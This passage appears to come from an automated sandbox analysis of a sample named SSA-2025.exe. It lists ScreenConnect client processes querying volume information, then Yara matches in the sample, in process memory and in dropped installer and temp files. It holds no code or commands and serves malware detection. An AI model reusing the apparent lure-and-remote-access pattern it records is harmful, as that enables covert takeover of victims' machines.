Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Client.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Core.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.dll VolumeInformation

Source: Yara match	File source: SSA-2025.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000002.2195384007.0000000005510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3434546614.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2284864737.00000000024B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2221424696.0000000007361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2181962492.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SSA-2025.exe PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 3460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Installer\inprogressinstallinfo.ipi, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFEC88B264B5E97F4C.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF550B457CA4B802ED.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFCD11A12CC8450BDF.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFF35978247F72F933.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF610A57C3150B57FA.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF8814AD95F4808848.TMP, type: DROPPED
Source: Yara match	File source: C:\Config.Msi\515402.rbs, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\MSI56C1.tmp, type: DROPPED